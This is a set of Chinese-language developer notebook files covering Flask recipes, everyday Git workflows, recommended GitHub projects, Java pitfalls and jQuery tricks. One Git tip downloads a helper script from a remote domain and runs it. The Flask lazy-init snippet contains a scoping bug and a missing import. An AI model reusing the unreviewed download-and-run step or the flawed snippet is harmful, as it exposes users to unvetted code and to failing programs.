from flask import Flask, render_template, Blueprint, request, redirect
app = Flask(__name__)
for path in ['images', 'pic', 'css']:
blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)
app.register_blueprint(blueprint)
```
## 判断是否手机访问 g.isphone
```
@app.before_request
def before_request():
ua = request.user_agent.string.lower()
for mobileua in "android|fennec|iemobile|iphone|opera mini|opera mobi|mobile".split("|"):
if mobileua in ua:
g.isphone = True
break
else:
g.isphone = False
```
## 限制特定get整数参数的取值
```
def limit_param(param_name, default_value, minvalue, maxvalue):
"""
example: p = limit_param("p", 1, 1, 5)
"""
if maxvalue<minvalue:
maxvalue = minvalue
try:
data = int(request.args.get(param_name, default_value))
except:
data = default_value
if data<minvalue:
data = minvalue
elif data > maxvalue:
data = maxvalue
return data
```
## 要求登录的decorator
用法: `@require_login()` 注意使用时添加到`@app.route`行的后面
```
import functools
from flask import session, abort, redirect
def require_login(code=200, text="login first", jumptologin=False):
def real_decorator(func):
@functools.wraps(func)
def wrapper(*args,**kwargs):
if "username" not in session:
if jumptologin:
return redirect("/signin?error=needlogin&next="+signit(request.path))
elif code==200:
return text
else:
abort(code)
else:
return func(*args, **kwargs)
return wrapper
return real_decorator
```
## import引入列表
```
from flask import Flask, render_template, Blueprint, request, redirect, Markup, g, session, abort, Response, make_response, send_file, jsonify
from werkzeug.utils import secure_filename
import time
import datetime
import random
import pickle
import requests
import os
import sys
import traceback
import mimetypes
import string
import re
import hashlib
import json
```
## request怎么拿到url的各个部分
来自https://stackoverflow.com/questions/15974730/how-do-i-get-the-different-parts-of-a-flask-requests-url
request:
`curl -XGET http://127.0.0.1:5000/alert/dingding/test?x=y`
then:
```
request.method: GET
request.url: http://127.0.0.1:5000/alert/dingding/test?x=y
request.base_url: http://127.0.0.1:5000/alert/dingding/test
request.url_charset: utf-8
request.url_root: http://127.0.0.1:5000/
str(request.url_rule): /alert/dingding/test
request.host_url: http://127.0.0.1:5000/
request.host: 127.0.0.1:5000
request.script_root:
request.path: /alert/dingding/test
request.full_path: /alert/dingding/test?x=y
request.args: ImmutableMultiDict([('x', 'y')])
request.args.get('x'): y
```
## request其他的部分
```
request.get_data() POST内容 bytes类型
request.endpoint 处理这个请求的函数名称
```
----
## 遇到性能瓶颈做profiling看函数耗时
找到对uwsgi应用做profiling的[dozer](https://mg.pov.lt/blog/profiling-with-dozer.html)库
使用方法:
1. 先安装python3对应的uwsgi:`apt install uwsgi-plugin-python3`
2. 写一个python脚本包装app,如`profiler_app.py`:
```
#!/usr/bin/python3
from app import app
from dozer import Profiler
appx = Profiler(app, profile_path="/tmp/profiles")
if __name__ == "__main__":
import os
os.system("uwsgi -w profiler_app:appx --http :80")
```
3. 别忘记`mkdir /tmp/profiles` 然后就可以启动了`python3 profiler_app.py`
4. 使用http://127.0.0.1/_profiler/ 查看结果,可以点开每个请求看各个函数耗时详情
----
## lazyload 延迟加载耗时的初始化操作
需求:特定页面需要加载一些耗时的资源,如果在应用启动的时候做加载,此时新来的请求就必须等待这个加载才能完成;而实际上这个init并非所有请求都必须的,想做一个lazyinit: 在不影响正常请求的前提下尽快完成init函数
我的做法:设计一个`/lazyinit`路由函数做初始化工作,在重新部署/重启flask服务的时候同时启动一个简单的python脚本反复请求这个url直到所有的进程都已经触发
这样利用uwsgi自身就有的多进程负载均衡,每次最多只会有一个进程做初始化工作,其他进程可以正常处理请求;坏处就是在日志里面产生一些垃圾吧,影响不大
问题来了 uwsgi怎么知道当前是哪个进程呢 我发现threading提供的进程名称是字符串`b'uWSGIWorker2Core2'`,其中`Worker`后面的数字就是进程ID 不同进程ID的全局变量是不同的
代码:
flask中的`/lazyinit`实现,返回处理当前请求的worker id:
```
import threading
def get_workerid():
# return uwsgi worker id: int
threadname = threading.current_thread().name
id_str = threadname.lower().split("worker")[1].split("core")[0]
return int(id_str)
HAS_INITED = False
@app.route("/lazyinit")
def lazyinit():
workerid = get_workerid()
if not HAS_INITED: # skip init if has already initialized
sleep(1) # do real init code...
HAS_INITED = True
return str(workerid)
```
这是反复请求的代码,重复请求最多100次,直到所有4个进程都已经触发,其中uwsgi的workerid是从1开始计数的
```
MAX_TRIES = 100
PROCESS_COUNT = 4
import requests
i = 0
status = [False]*PROCESS_COUNT
for i in range(MAX_TRIES):
id = requests.get("http://127.0.0.1/lazyinit?id="+str(i)).text
id = int(id) - 1
status[id] = True
if all(status):
break
```
## 让app.run启动的服务器使用HTTP/1.1
就是这个问题: https://www.reddit.com/r/flask/comments/634i5u/make_flask_return_header_response_with_http11/
人家认为Flask不支持,其实flask使用的是`werkzeug.serving`,最底层还是BaseHTTPRequestHandler,而这个是支持HTTP/1.1的,只是默认HTTP/1.0而已
实际发送请求`HTTP/1.1 200 OK`是这个类的`send_response`函数,用到`protocol_version`这个属性,而这个属性是类的属性(不是在`__init__`函数赋值的),所以我们可以直接修改 之后创建的对象就会自动拥有新的值
在调用之前添加以下几行即可
```
try:
from http.server import BaseHTTPRequestHandler
except: #PY2
from BaseHTTPServer import BaseHTTPRequestHandler
BaseHTTPRequestHandler.protocol_version = "HTTP/1.1"
```
## 让render_template直接能使用当前所有变量
一种直接的做法:注意顺序 局部变量优先于全局变量
```
targs = globals()
targs.update(locals())
render_template("x.html", **targs)
```
然而这样需要每个视图函数都写这三行,不够优雅
不如试试:获取调用者的局部变量 https://stackoverflow.com/questions/6618795/get-locals-from-calling-namespace-in-python
```
import inspect
def myrender_template(filename):
backframe = inspect.currentframe().f_back
targs = {}
targs.update(backframe.f_globals)
targs.update(backframe.f_locals)
return render_template(filename, **targs)
```
------
## 在Flask中正确地产生流式响应EventSource
考虑我们需要向前端提供消息队列的消费者,比如收到广播后发给浏览器通知用户。当然我们可以用websocket,但这种场景(只有服务器给浏览器发)下只需要长连接的EventSource就行了。
基础篇: https://stackoverflow.com/questions/12232304/how-to-implement-server-push-in-flask-framework
```
def queue_consumer():
conn = 创建连接() #连接到消息队列,创建 channel
for data in conn.读取数据():
yield b"data: "+data+b"\n\n"
关闭连接() # 怎么执行到?
@app.route("/stream")
def stream():
return Response(queue_consumer(), mimetype="text/event-stream")
```
这个的问题在于关闭连接不会执行到,在消息队列服务器上观察到channel一直没有释放,这肯定不行,我们需要在浏览器断开连接的时候自动释放conn等资源。
读了 werkzeug 的源代码发现 Response 有 call_on_close 函数,在连接关闭的时候我们把生成器close即可触发yield的异常:
```
def queue_consumer():
conn = 创建连接() #连接到消息队列,创建 channel
try:
for data in conn.读取数据():
yield b"data: "+data+b"\n\n" #结束的时候会触发GeneratorExit异常
except:
pass
关闭连接()
@app.route("/stream")
def stream():
consumer = queue_consumer()
res = Response(consumer, mimetype="text/event-stream")
def onclose():
consumer.close()
res.call_on_close(onclose)
return res
```
这样还不够,发现无法使用g,以及Nginx默认缓存响应导致延迟,需要继续配置:
```
def queue_consumer():
conn = 创建连接() #连接到消息队列,创建 channel
try:
for data in conn.读取数据():
yield b"data: "+data+b"\n\n" #结束的时候会触发GeneratorExit异常
except:
pass
关闭连接()
@app.route("/stream")
def stream():
consumer = queue_consumer()
res = Response(stream_with_context(consumer), mimetype="text/event-stream")
def onclose():
consumer.close()
res.call_on_close(onclose)
res.headers["X-Accel-Buffering"] = "no"
res.headers["Cache-Control"] = "no-cache"
return res
```
这些Nginx配置你也可能需要加上:尤其是还有下一层反代的时候
```
uwsgi_pass_header "X-Accel-Buffering";
uwsgi_read_timeout 120s;
uwsgi_send_timeout 120s;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_pass_header "X-Accel-Buffering";
```
----
## Flask跨域Cookie
当我们的网站能被跨域访问的时候,要注意cookie的设置,加上`SameSite=None; Secure`
参考:
- https://stackoverflow.com/questions/56828663/how-to-explicitly-set-samesite-none-on-a-flask-response
- https://github.com/pallets/werkzeug/issues/1549
- https://stackoverflow.com/questions/62992831/python-session-samesite-none-not-being-set
```
resp.set_cookie('cross-site-cookie', 'bar', samesite='None', secure=True)
resp.headers.add('Set-Cookie','cross-site-cookie=bar; SameSite=None; Secure')
```
Flask的session cookie也要跨域的话:
```
from flask import session
from flask.sessions import SecureCookieSessionInterface
session_cookie = SecureCookieSessionInterface().get_signing_serializer(app)
@app.after_request
def cookies(response):
same_cookie = session_cookie.dumps(dict(session))
response.headers.add("Set-Cookie", f"session={same_cookie}; Secure; HttpOnly; SameSite=None; Path=/;")
return response
```
================================================
FILE: Gemfile
================================================
source 'https://gems.ruby-china.org'
gem 'github-pages', group: :jekyll_plugins
================================================
FILE: Git.md
================================================
# Git
参考 **沉浸式学 Git** http://igit.linuxtoy.org/
参考 Learn Git Branching [learngitbranching.js.org](https://learngitbranching.js.org/?locale=zh_CN)
----
## 立即使用
在网页上先创建了仓库,设置好.gitignore
```bash
git clone github提供的地址(用ssh的)
# 现在创建了你的仓库文件夹,将需要上传的文件放进去
cd 你的仓库名称
git add .
git commit -a -m "这次改了些啥?"
git push
```
更多的配置:
```
# 默认git pull --rebase
git config --global pull.rebase true
```
----
## 加速git clone
方法1:配置一个代理(如privoxy),并使用https地址
方法2:使用`--depth 1`参数表示不要复制历史
```
export https_proxy="http://127.0.0.1:8118"
git clone --depth 1 https://github.com/zjuchenyuan/notebook
```
----
## git push加速
代码参见[code/ssgit.txt](/code/ssgit.txt)
----
## git push免密码
参照http://blog.csdn.net/chfe007/article/details/43388041
首先生成自己的ssh密钥,不要修改生成的文件位置
ssh-keygen -t rsa -b 4096
然后把`~/.ssh/id_rsa.pub`的内容设置到github中,[网页端操作](https://github.com/settings/keys);建议顺带启用两步验证
新手还告诉git自己是谁:
git config --global user.email "你的邮箱"
git config --global user.name "你的用户名"
如果当前仓库是https的,改为git方式:
git remote set-url origin git@github.com:用户名/仓库名称.git
----
## bash别名设置
通过修改~/.bashrc来设置别名,让git的日常使用更简单:
```
func_g(){
git add .
git commit -a -m "$1"
git push
}
alias g=func_g
alias gs='git status '
alias ga='git add '
alias gb='git branch '
alias gc='git commit'
alias gd='git diff'
alias go='git checkout '
alias gp='git push'
alias gl="git log --all --pretty=format:'%h %ad | %s%d [%an]' --graph --date=short"
```

完成一次提交,现在只需要`g "提交信息"`
要立即生效,可以执行`source ~/.bashrc`
## 设置bash中的自动完成与dirty提示
此部分内容来自Udacity 如何使用 Git 和 GitHub 课程
下载需要的文件
```
curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash
curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh
```
在`~/.bashrc`末尾添加:
```
source ~/git-completion.bash
green="\[\033[0;32m\]"
blue="\[\033[0;34m\]"
purple="\[\033[0;35m\]"
reset="\[\033[0m\]"
source ~/git-prompt.sh
export GIT_PS1_SHOWDIRTYSTATE=1
export PS1="$purple\u$green\$(__git_ps1) \w\a $ $reset"
```
效果如图,如果出现了未提交的修改,会自动显示出*表示dirty:

## 好玩的命令们
### git status
查看状态咯~
### git reset
已经`git add`了,想取消这一步就用`git reset`
### git checkout
啊。。。代码搞坏了我要回滚到上次commit,用`git checkout -- 文件名`
### git reset --soft <commit_id>
撤销到某次commit,但不删除新增文件
其中commit_id可以从`git log`获得
### 恢复git reset --hard删除的文件
git的历史是不能用命令修改的,丢失的commit用reflog可以找回,除非git已经把它当成垃圾删除(30天)
```
git stash save
git reflog # 查看丢失的那个commit的id
git checkout 那个commitid
git branch recover # 创建recover分支
git checkout master # 回到master
git merge recover # 合并recover到master
git branch -d recover # 合并完成后就可以删了
```
----
## 你可能会问的一些问题
* 为啥要**git add**呢?
因为有些时候两个文件可能是不相关的修改,应该分别提交两次
> 通过分开暂存和提交,你能够更加容易地调优每一个提交。
* 为啥不改.profile而是改.bashrc呢
因为win10中只要有一个bash窗口没关掉,启动bash就不是登录,而是相当于再开了个`docker exec -i -t bashonwin10 /bin/bash`
此时是不会执行登录脚本.profile的,但是.bashrc还是会执行的
----
## Git各种情景
Learned from [githug](https://github.com/Gazler/githug)
### 忽略*.a文件但不想忽略lib.a
文档查看:`git gitignore --help`
!表示负向选择,在.gitignore中添加:
```
*.a
!lib.a
```
### commit补上忘掉的文件
如果发现上次commit漏了文件,不应该新加commit而是应该用amend,否则可能上CI就挂
```
git add forgotten.txt
git commit --amend
```
### 查出此行代码的最后修改者
github提供的blame功能更好看,显示每行代码的作者和来源于哪次commit
```
git blame filename
```
### 文件一次性改太多了,拆成多次commit
让每次commit保持在比较小的改动,不要在一个commit中出现两个不那么相关的修改
本知识学习自:[10 个迅速提升你 Git 水平的提示](http://www.oschina.net/translate/10-tips-git-next-level)
方法是在add的时候给出参数-p
然后git会在每一个修改的block询问是否加入这次的commit,回答y表示加入,n表示不加入,s表示进一步拆分这个block
完成好选择后,使用`git diff --staged`命令来查询暂存的修改,没有问题就可以继续`git commit`啦
### 本地忽略一些个人的修改
原文: http://stackoverflow.com/questions/1753070/git-ignore-files-only-locally
有时候我们不想让git追踪一些个人相关的文件,例如config中修改Debug=True,此时如果去修改.gitignore造成的影响是全局的,并且需要从git中删除这个文件;手动避开add config很烦,有没有更好的方法,让git忽略掉config文件的修改呢?
方法是修改`.git/info/exclude`文件,这个文件的语法规则与.gitignore一样
如果已经造成了修改,还需要执行以下命令:
```
git update-index --assume-unchanged [<file>...]
```
### 本地创建branch后push操作git push -u
From: http://stackoverflow.com/questions/2765421/how-do-i-push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too
执行了一些修改引入新功能,但还不能工作,决定建立一个dev分支:
```
git checkout -b dev
```
现在再执行`git add`,`git commit`后,需要把新的分支push给远程服务器:
```
git push -u origin dev
```
----
## 用gpg给git提交签名
参考:https://help.github.com/articles/signing-commits-with-gpg/
下述以ubuntu16.04(其实是bash on win10)讲解整个过程
### 安装gpg2
查看gpg版本:`gpg --version`发现版本是`gpg (GnuPG) 1.4.20`,而教程要求要2以上,所以先要安装gpg2,并告诉git我们要使用gpg2:
```
apt install -y gpg2
git config --global gpg.program gpg2
```
### 创建一个新的key
这里github给出的命令有问题,google发现参数改了
```
gpg2 --full-gen-key
```
回车选择RSA and RSA,然后输入密钥大小输入4096,然后回车永不过期,确认y,然后输入自己的名字和邮箱 注意这里邮箱要和git commit用到的邮箱一致
### 导出key的公钥 在github设置中提交
```
gpg2 --list-secret-keys --keyid-format LONG
```
如下输出中,我们需要的是3AA5C34371567BD2这一串 就是sec那一行的4096R/后面的东西
```
$ gpg2 --list-secret-keys --keyid-format LONG
/Users/hubot/.gnupg/secring.gpg
------------------------------------
sec 4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10]
uid Hubot
ssb 4096R/42B317FD4BA89E7A 2016-03-10
```
然后得到公钥:
```
gpg2 --armor --export 3AA5C34371567BD2
```
复制屏幕上输出的一大串,打开下面的网页 粘贴提交
https://github.com/settings/gpg/new
### 配置git使用gpg签名
告诉git默认使用这个key:
```
git config --global user.signingkey 3AA5C34371567BD2
git config --global commit.gpgsign true
```
执行 建议将这一行写入~/.bashrc:
```
export GPG_TTY=$(tty)
```
然后就是正常的git add .,git commit -m "message"咯
gpg-agent会在后台运行,默认10分钟内不需要再次输入密码
### 修改gpg要求再次输入密码的时间限制
10分钟的默认限制还是太短了,对于安全性要求不高的情景(比如自己的开源代码push到github),不妨设置为密码一直有效,直到gpg-agent重启
下面的设置将限制改到1年,当然gpg-agent重启还是要再次输入密码的:
```
vi ~/.gnupg/gpg-agent.conf
default-cache-ttl 34560000
max-cache-ttl 34560000
```
## 使用GitLab API存储数据备份文件 不占用本地空间
这里的需求是定时任务生成snapshot文件,打算传至免费存储作为备份,不想占用服务器硬盘去存储这个文件,也不想花钱买存储服务
于是想到免费的gitlab.com的私有仓库,仓库数量无限,[每个repo可以存10GB](https://about.gitlab.com/2015/04/08/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo/)
使用API来提交可以避免占用本地空间
其实本来打算用github的,但是github今天(20181022)挂了,于是就gitlab吧
找到这个python sdk: https://python-gitlab.readthedocs.io/
写点代码咯:上传当前目录的to_upload.jpg到uploaded.jpg,记得相应修改你的访问令牌和项目ID
```
TOKEN = '...' # personal access token, https://gitlab.com/profile/personal_access_tokens
REPO_ID = 123456 # after create project, you can see project ID in your repo homepage
message = 'test commit'
target_filename = 'uploaded.jpg'
src_filename = 'to_upload.jpg'
import gitlab
import base64
gl=gitlab.Gitlab('https://gitlab.com',private_token=TOKEN)
gl.auth()
p=gl.projects.get(REPO_ID)
filecontent = open(src_filename, 'rb').read()
data={
'branch_name':'master',
'branch':'master',
'commit_message':message,
'actions':[{'action':'create','file_path':target_filename,
'content':base64.b64encode(filecontent).decode(),
'encoding': 'base64'}]
}
c=p.commits.create(data)
print(c)
```
----
## 在git服务器无法连接时点对点git pull
情景:客户端A和B使用gitlab服务器S,然后某天S无法连上了,但A和B之间可以直接通讯。B上开发了新代码,想让A获取到这个更新,如何最方便简单地在A上同步B上的代码更新呢?
解决方案:用python开个简单的http服务器然后添加http的remote进行pull,注意先要让git解压pack文件
```
git update-server-info
python3 -m http.server 6666
git remote add tmp http://ip-b:6666/.git/
git pull tmp master
```
问题来了:如果A访问不了B怎么办呢?通过`git format-patch HEAD~2..HEAD --stdout>patchfile`生成patch文件再发过去`git am patchfile`,但这样可能会改变commit id
-----
## git禁用压缩
如二进制的仓库不想使用压缩,参考: https://stackoverflow.com/questions/11483288/how-to-disable-compression-in-git-server-side
```
git config --add core.bigFileThreshold 1
```
------
## GitHub不同仓库使用不同ssh key: ghclone
GitHub要求不同仓库的deploy key不同,但ssh config只能为一个Host设置相同的key
从[这里](https://gist.github.com/gubatron/d96594d982c5043be6d4)发现了一个trick:`*.github.com`都是可以正常解析到github的,这样就得到了无数个Host
快速使用:
```
curl https://d.py3.io/ghclone > /usr/local/bin/ghclone
chmod +x /usr/local/bin/ghclone
ghclone user/repo
```
会为这个repo创建一个ssh key放在`~/.ssh`目录下,同时修改`~/.ssh/config`,然后显示出公钥,需要手动添加到github,最后回车就会开始git clone
Done.
如果是一个已经存在的仓库,最后一步不用回车Ctrl+C后:
```
git remote set-url origin git@{repo}.github.com:{user}/{repo}.git
```
## 启动一个临时的Git服务器 本地之间同步
场景: GitLab服务器宕机了,现在需要同步自己本地的修改到服务器上
参考: https://datagrok.org/git/git-serve/
```
# 自己机器上(有更多commit的)
git config --global alias.quickserve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/"
git quickserve
# 服务器上(需要pull得到commit的)
git remote add temp git://192.168.1.123/
git pull temp master
```
同步完成后就可以Ctrl+C关闭git服务了
!!! note
git末尾的/不可缺省,不然报错fatal: No path specified. See 'man git-pull' for valid url syntax
git pull的分支名称master也不能省略
----
## 备份GitHub上自己star过的仓库
自从GitHub被微软收购后,似乎就崩得更频繁了,为了在这种情况下仍然能读代码,不妨跑一下定时脚本,自动pull指定仓库push到其他git服务上(如自行部署gitea)。
获取自己star过的所有仓库:(依赖`apt install -y jq`)
```bash
for i in `seq 28`; do curl "https://api.github.com/users/zjuchenyuan/starred?page=${i}" >${i}.tmp; done
cat *.tmp |jq '.[].full_name' -r > mystars.txt
```
sync.sh:
从github clone或fetch对应的仓库,然后push到自己的git服务上,这里使用bare避免checkout导致的更多空间占用
TODO: 注意到仍然是双份的空间占用(同步和gitea都存了),需要看看能不能直接从gitea的git存储发起fetch更新
```bash
#!/bin/bash
u=`echo ${1}|cut -d/ -f1`
n=`echo ${1}|cut -d/ -f2`
if [ -z "$u" ] || [ -z "$n" ]; then
echo Usage: $0 user/reponame
exit 1
fi
if [ -d "${u}_${n}" ]; then
cd "${u}_${n}"
git fetch --all
git push --all sync
else
git clone https://github.com/${u}/${n} "${u}_${n}" --bare
cd "${u}_${n}"
git fetch --all
git remote add sync git@你的git服务地址:你的用户名/${u}_${n}.git
git push --all sync
fi
cd ..
```
## git clone和push避免输入ssh询问的yes
```
mkdir -p ~/.ssh
ssh-keyscan 你的git服务地址 >> ~/.ssh/known_host
```
!!! note
这个方案并不安全,容易遭受中间人攻击,你应该事先在安全的网络下获取正确的ssh key后直接将指纹写入known_host。
不过就算不自动化你也会自己回答yes,本质上一样hhh
## 部署gitea
https://hub.docker.com/r/gitea/gitea
按照官方给出的docker-compose部署即可,安装时需要留心:smtp的host需要包含端口,登录用户名是完整的邮箱
然后需要修改配置,允许用户在push一个不存在的仓库时自动创建,参见[这个issue](https://github.com/go-gitea/gitea/issues/8162) 和 [conf配置文档](https://docs.gitea.io/en-us/config-cheat-sheet/)
需要在app.ini的`[repository]`一节中加入:
```
ENABLE_PUSH_CREATE_USER = true
ENABLE_PUSH_CREATE_ORG = true
```
!!! warning "小心git bomb"
实际测试发现 对[git bomb](https://github.com/Katee/git-bomb)这种仓库 checkout就会占满全部内存
即使使用上述脚本只同步bare仓库,gitea会启动git show命令,仍然会炸内存(但似乎kill掉这个命令后网页显示也是正常的)
----
## Git查询特定commit时间
https://stackoverflow.com/questions/3814926/git-commit-date
获取时间戳:`git show -s --format=%ct COMMIT_ID`
----
## GitHub查询所有releases
https://docs.github.com/en/rest/reference/repos#releases
https://api.github.com/repos/octocat/hello-world/releases?per_page=100&page=1
----
## git diff显示修改后行号
参考: [https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers](https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers)
```
diff-lines() {
local path=
local line=
while read; do
esc=$'\033'
if [[ $REPLY =~ ---\ (a/)?.* ]]; then
continue
elif [[ $REPLY =~ \+\+\+\ (b/)?([^[:blank:]$esc]+).* ]]; then
path=${BASH_REMATCH[2]}
elif [[ $REPLY =~ @@\ -[0-9]+(,[0-9]+)?\ \+([0-9]+)(,[0-9]+)?\ @@.* ]]; then
line=${BASH_REMATCH[2]}
elif [[ $REPLY =~ ^($esc\[[0-9;]+m)*([\ +-]) ]]; then
echo "$path:$line:$REPLY"
if [[ ${BASH_REMATCH[2]} != - ]]; then
((line++))
fi
fi
done
}
```
用法:`git diff commit^ commit -U0|diff-lines`
----
## git导出tag与commit关系
有些时候需要将commit翻译成对应的tag,可以先这样导出再查询:
```
git tag|while read i; do echo ${i} `git log -1 --format='%H' ${i}`; done > tags.txt
```
虽然git tag也有`--format`参数,但没找到可以显示tag对应commit的方法,那就还是老老实实git log呗
================================================
FILE: GithubProjectRecommendation.md
================================================
## you-get
https://github.com/soimort/you-get
pip安装后直接下载b站超清视频
本想自己用PhantomJS写bilibili的下载的,没想到人家拿到了签名的私钥,直接免浏览器实现了666
----
## Anki
https://github.com/dae/anki
Anki是一个辅助记忆软件,它可以在相对合适的时间来告诉你复习什么比较好。
Learn More:
https://zhuanlan.zhihu.com/p/21338255?refer=-anki
https://zhuanlan.zhihu.com/-anki
----
## OnlineJudge
https://github.com/QingdaoU/OnlineJudge
青岛大学的OnlineJudge,人家的毕业设计呢,界面好看,基于Docker,C和Java的沙箱设计挺完善的
https://github.com/QingdaoU/OnlineJudge/wiki/%E6%AD%A3%E5%BC%8F%E9%83%A8%E7%BD%B2%E6%96%87%E6%A1%A3
这是安装文档,需要安装Docker和docker-compose,注意其中python tools/release_static.py这一步是必须执行的
安装后的默认版本是不支持Python作为提交语言的,需要进行如下操作:
```
# 首先关掉容器
docker-compose stop
# 在master分支把那个分支merge过来
git merge origin/python-support
python tools/release_static.py
# 然后启动容器,注意要-d否则会占据前台
docker-compose up -d
```
-----
## sympy
https://github.com/sympy/sympy
http://docs.sympy.org/latest/tutorial/solvers.html
Python也能用来解方程!求极限!求积分!
-----
## shellcheck
检查自己写的shell脚本有没有问题
https://github.com/koalaman/shellcheck
https://www.shellcheck.net/
-----
## InstantClick
https://github.com/dieulot/instantclick
在鼠标悬停时即刻开始加载网页,显著提高网页加载速度,非常适合静态blog类型网页使用
----
## explainshell
https://github.com/idank/explainshell
查询shell命令各个参数的含义
----
## Python Learn Notes
https://github.com/AnyISalIn/Python_Learn_Notes
一些不错的Python笔记
----
## websocketd
https://github.com/joewalnes/websocketd/
把linux程序的输出输出重定向到websocket,就可以实现网页上实时显示程序执行动态,官网:[http://websocketd.com/](http://websocketd.com/)
================================================
FILE: Java.md
================================================
## Java的神奇(keng)
记录一下Java与C的不同点,感受Thinking in Java
### 变量名称
$就是个普通字符,可以int $a; //php表示mdzz
### main函数
必须是public static void main(String[] args)
如果没有static,编译能通过但没有执行结果?// 待考证,eclipse拒绝运行
### if
if中的东西必须是boolean类型的值,不能把int放入if中
if ( a = true )的坑还是存在的,允许赋值作为if条件
### %取余的结果
要考虑到负数的结果啊~(和C一致)
### 数组声明引用、初始化之后才能用
不允许int a[5]; 只能int[] a = new int [5];
如果要初始化 int[] b = new int[]{1,2}; 可以简化为 int c[] = {1,2};
但不能出现d={1,2}; 不允许大括号这玩意用来赋值,只准用于初始化
### switch
boolean是不行的;String是可以的!
case是不能重复的(和C一致)
### ==
一定是比较地址,如果"haha"在代码中出现两次,他们的地址是一样的
### 类型自动提升
int long float double
最高出现哪个全部提升为哪个,都没有就全部提升为int
所以要这么写才能把byte*2:byte b = (byte)(a*2);
### 内部类
加上static后:可以不用实例化外部类就创建对象,不能访问外部类非静态的数据
不加static:需要先实例化外部类new OuterClass().new InnerClass()
### 数组的new不创建对象
对象数组的new是不会创建对象的
例如 `A[] a=new A[5];` 并不会创建5个A类型的对象,只是5个空引用
## 异常处理中的资源释放问题
From: http://stackoverflow.com/questions/8080649/do-i-have-to-close-fileoutputstream-which-is-wrapped-by-printstream
在Java7中引入了ARM(自动资源管理),并不需要手动释放资源
以下这种把变量声明放到try后的括号里面,不对资源手动释放的写法是可以的,没有任何错误
```
public static void main(String args[]) throws IOException {
try (PrintStream ps = new PrintStream(new FileOutputStream("myfile.txt"))) {
ps.println("This data is written to a file:");
System.out.println("Write successfully");
} catch (IOException e) {
System.err.println("Error in writing to file");
throw e;
}
}
```
普通的try-catch是不够的,需要在finally中释放资源:
```
public static void main(String args[]) throws IOException {
PrintStream ps = null;
try {
ps = new PrintStream(new FileOutputStream("myfile.txt"));
ps.println("This data is written to a file:");
System.out.println("Write successfully");
} catch (IOException e) {
System.err.println("Error in writing to file");
throw e;
} finally {
if (ps != null) ps.close();
}
}
```
----
## JVM启动时的内存参数
From: http://blog.chinaunix.net/uid-26863299-id-3559878.html
常见参数种类:配置堆区的(-Xms 、-Xmx、-XX:newSize、-XX:MaxnewSize、-Xmn)、配置非堆区(-XX:PermSize、-XX:MaxPermSize)。
堆区的:
1、-Xms :表示java虚拟机堆区内存初始内存分配的大小
2、-Xmx: 表示java虚拟机堆区内存可被分配的最大上限,通常会将 -Xms 与 -Xmx两个参数的配置相同的值,其目的是为了能够在java垃圾回收机制清理完堆区后不需要重新分隔计算堆区的大小而浪费资源。
3、-XX:newSize:表示新生代初始内存的大小,应该小于 -Xms的值;
4、-XX:MaxnewSize:表示新生代可被分配的内存的最大上限;当然这个值应该小于 -Xmx的值;
5、-Xmn:对 -XX:newSize、-XX:MaxnewSize两个参数的同时配置
非堆区的:
1、-XX:PermSize:表示非堆区初始内存分配大小,名字来源于permanent size
2、-XX:MaxPermSize:表示对非堆区分配的内存的最大上限。
最大堆内存与最大非堆内存的和不能够超出操作系统的可用内存。
================================================
FILE: JavaScript.md
================================================
## 使用localStorage
Cookie存数据影响访问速度(每次请求都需要带上Cookie),使用localStorage存储有更大容量,还不易丢失
建议将用户的大段输入随时存储到localStorage中
高级应用可以是把js等代码文件这样缓存到本地,安全性讨论见[https://imququ.com/post/enhance-security-for-ls-code.html](https://imququ.com/post/enhance-security-for-ls-code.html)
```
//写入
var storage=window.localStorage;
storage["a"]=1;
//清空
window.localStorage.clear();
```
----
## 使用phantomjs爬取网页
有些时候我们用Python的requests并不能很完美地渲染好网页,例如人家用酷炫的js作图了,我就想得到这张图,这时候用phantomjs就好啦
爬取目标:
[http://oncokb.org/#/gene/AKT1](http://oncokb.org/#/gene/AKT1)
这个网页的右边有一张Tumor Types with AKT1 Mutations的图
代码:
[code/spider.oncokb.js](code/spider.oncokb.js)
代码的细节:
1. 打开页面之前为了截图方便需要先设置浏览器的大小,这里设置为了1920*1080
2. 不要一打开页面就截图,而是等到页面加载好了最后一个请求(从Chrome开发人员工具查看最后的请求是啥)后,再等待5s后执行截图、导出HTML并退出
3. 为了防止无限等待,设置最长2min后timeout退出
4. 为了方便批量化处理,从命令行参数读取需要爬取的基因名称
5. 在运行的时候有设置代理和不要载入图片的参数,具体见[官方文档](http://phantomjs.org/api/command-line.html)
----
## jQuery劫持show事件
我的需求:用户登录的div需要点击Login后显示(toggle),此时浏览器已经自动帮用户填上了用户名和密码,用户需要手动点击登录按钮才会触发登录请求;现在我想加入快速登录功能,在显示登录div后自动提交登录请求,如果为空或密码错误再交给用户输入
我的解决方案:加入下述扩展jQuery的代码后,对#login绑定beforeShow事件,处理函数先根据全局变量是否存在来判断是否执行过(防止死循环),如果没有执行过则执行登录函数clicklogin并设置全局变量
效果:如果浏览器自动填入了正确的用户名密码,则用户点击Login后快速闪过登录输入框即完成登录;如果浏览器没有自动填入用户名密码,clicklogin函数直接return,用户没有感知;如果浏览器填入的密码是错的,用户会看到密码错误提示,1s后再次toggle登录的div要求用户输入
From: http://stackoverflow.com/questions/1225102/jquery-event-to-trigger-action-when-a-div-is-made-visible
引入jQuery后,修改jQuery自身的show函数以扩展bind:
```
jQuery(function($) {
var _oldShow = $.fn.show;
$.fn.show = function(speed, oldCallback) {
return $(this).each(function() {
var obj = $(this),
newCallback = function() {
if ($.isFunction(oldCallback)) {
oldCallback.apply(obj);
}
obj.trigger('afterShow');
};
// you can trigger a before show if you want
obj.trigger('beforeShow');
// now use the old function to show the element passing the new callback
_oldShow.apply(obj, [speed, newCallback]);
});
}
});
```
然后就可以使用bind注册`beforeShow`,`afterShow`咯:
```
jQuery(function($) {
$('#test')
.bind('beforeShow', function() {
